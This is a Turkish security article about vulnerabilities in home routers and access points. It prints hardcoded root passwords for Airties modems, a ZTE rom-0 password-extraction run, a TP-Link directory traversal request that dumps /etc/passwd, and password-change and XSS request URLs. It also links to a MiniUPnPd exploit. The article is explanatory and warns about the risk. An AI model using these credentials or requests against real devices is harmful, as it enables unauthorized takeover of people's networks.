AP/Router Üzerinde Çıkan Zafiyetler
Access Point arabirimi, yazılımı (firmware) diğer birçok ağ cihazı gibi güvenlik zafiyetleri barındırabilirler. Bu zafiyetler ve öntanımlı hesaplar tüm kablosuz ağın güvenliğini tehlikeye atmaktadır. Aşağıda görüleceği üzere bu zafiyetler farklı markaya sahip cihazlarda çıkabilmektedir ve maalesef üreticilerden bu konuda gerekli güvenlik güncellemeleri gelmemektedir. Bu durum riskin büyüklüğünü artırmaktadır.
Genellikle gömülü Linux türevi işletim sistemleri çalıştıran bu cihazlarda popüler işletim sistemlerinde ve uygulamalardaki gibi bellek taşması türevi zafiyetler görülebilir. Bu zafiyetler cihaz üzerinde tam yetkili kod çalıştırmaya sebep olacak kritiklikte olabilirler. Böyle bir zafiyet aracılığıyla saldırgan cihazın, dolayısıyla tüm yerel ağın kontrolünü ele geçirebilir.
Airties
Örnek olarak son zamanlarda ortaya çıkan Airties modemlere ait root parolası verilebilir. İlgili zafiyete göre Air6372SO modemlerin parolasının(dsl_2012_Air) firmware üzerinden kolayca öğrenilebileceği ve uzaktan bu modemlere telnet 2323 portu üzerinden erişilebileceği görülmüştür. Aynı şekilde başka modeller üzerinde de buna benzer zafiyetler olduğu tespit edilmiştir: Airties RT-206v4 modeli root parolası: SoL_FiBeR_1357
ZTE, TP-Link, ZynOS, Huawei
Türkiye’de de sıklıkla rastlanan modem modellerinden ZTE VX10 W300 üzerinde router parolasının elde edilebileceği bir zafiyet vardır. Bu zafiyete göre
dosyası basit bir GET isteğiyle herhangi bir kimlik doğrulamaya ihtiyaç duyulmadan indirilebilmektedir.
Dosya indirilerek modem yapılandırması hakkında fikir sahibi olunabilmektedir. Ancak burada router parolası ele geçirilecektir. Bunun için basit bir python script kullanılarak rom-0 dosyası okunabilir.
python rom0-decomp.py [+] ZTE, TP-Link, ZynOS, Huawei rom-0 Configuration Decompressor [+] Author: Osanda Malith Jayathissa [+] Special thanks to Nick Knight [*] Opeining rom-0 file [+] Dump: ���� l ttnetZTE60publicpublicpublic�PPP�P�P�P�5�P�P� � @ [+] Filtered Strings: l ttnetZTE60publicpublicpublicPPPPPP5PP@ [~] Router Password is: ttnet |
Aynı bir modemde ikinci bir zafiyet kullanılarak WAN parolası ele geçirilebilmektedir. Bunun için modem arayüzüne yukarıda ele geçirilen admin parolası kullanılarak erişilir. Interface setup, İnternet sekmesine sağ tıklanıp çerçeve kaynak kodu görüntülendiğinde PPPoE/PPPoA parolası elde edilebilmektedir.
TP-Link
İkinci bir örnek olarak TP-Link TL-WA701N modeli 3.12.6 Build 110210 Rel.37112n firmware üzerinde Directory Traversal tipi atak tespit edilmiş. Bu atak istismar edilerek /etc/passwd dosyası okunabilmektedir.
İstek
GET /help/../../etc/passwd HTTP/1.1 Host: 192.168.178.2 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:14.0) Gecko/20100101 Firefox/14.0.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Proxy-Connection: keep-alive Referer: http://192.168.178.2/help/ |
Cevap
HTTP/1.1 200 OK Server: TP-LINK Router Connection: close WWW-Authenticate: Basic realm=”TP-LINK Wireless Lite N Access Point WA701N” Content-Type: text/html <META http-equiv=Content-Type content=”text/html; charset=iso-8859-1″> <HTML> <HEAD><TITLE>TL-WA701N</TITLE> <META http-equiv=Pragma content=no-cache> <META http-equiv=Expires content=”wed, 26 Feb 1997 08:21:57 GMT”> <LINK href=”/dynaform/css_help.css” rel=stylesheet type=”text/css”> <SCRIPT language=”javascript” type=”text/javascript”><!– if(window.parent == window)window.location.href=”http://192.168.178.2″; function Click() return false; document.oncontextmenu=Click; function doPrev()history.go(-1); //–></SCRIPT> root:x:0:0:root:/root:/bin/sh Admin:x:0:0:root:/root:/bin/sh bin:x:1:1:bin:/bin:/bin/sh daemon:x:2:2:daemon:/usr/sbin:/bin/sh adm:x:3:4:adm:/adm:/bin/sh lp:x:4:7:lp:/var/spool/lpd:/bin/sh sync:x:5:0:sync:/bin:/bin/sync shutdown:x:6:11:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt uucp:x:10:14:uucp:/var/spool/uucp:/bin/sh operator:x:11:0:Operator:/var:/bin/sh nobody:x:65534:65534:nobody:/home:/bin/sh ap71:x:500:0:Linux User,,,:/root:/bin/sh |
Zafiyet kullanıcı adı, parola değiştirme şeklinde farklı atak vektörleriyle istismar edilebilir.
İstek
http://192.168.178.2/userRpm/ChangeLoginPwdRpm.htm?oldname=admin&oldpassword=XXXX&newname=admin&newpassword=XXXX &newpassword2=XXXX&Save=Save |
Veya XSS ile MAC filtreleme ayarları değiştirilebilir.
İstek
http://192.168.178.2/userRpm/WlanMacFilterRpm.htm?Mac=00-11-22-33-44-55&Desc=%22%3E%3Cimg+src%3D%220%22+onerror%3Dalert%281)>& Type=1&entryEnabled=1&Changed=0&SelIndex=0&Page=1&vapIdx=1&Save=Save |
Misfortune Cookie
UPNP
Elektronik cihazların kolayca ağa dahil olması ve birbirleriyle uyumlu çalışabilmesi amacıyla kullanılan bir servis olan UPnP üzerinde de bilinen kritik bir zafiyet vardır. Bu zafiyet istismar edilerek WAN üzerinden AP’ye uzaktan bağlantı sağlanabilir, cihazdan yapılandırma dosyaları çekilebilir.
BGA’dan Onur ALANBEL’in MiniUPnPd üzerindeki bir zafiyet için yazdığı istismar kodu, Türkiye’de yaygın olarak kullanılan modemlere root haklarıyla bağlanarak tüm trafiği yönlendirme, yapılandırma dosyalarına erişim, vb. ataklar yapılabileceğini göstermiştir. Bulunan yığın taşması zafiyeti istismar edilerek tam yetkili erişim sağlanan örnek çalışmaya https://www.exploit-db.com/docs/36806.pdf adresinden erişilebilir. İstismar kodlarına ise https://www.exploit-db.com/exploits/36839/ bu bağlantıdan ulaşılabilir.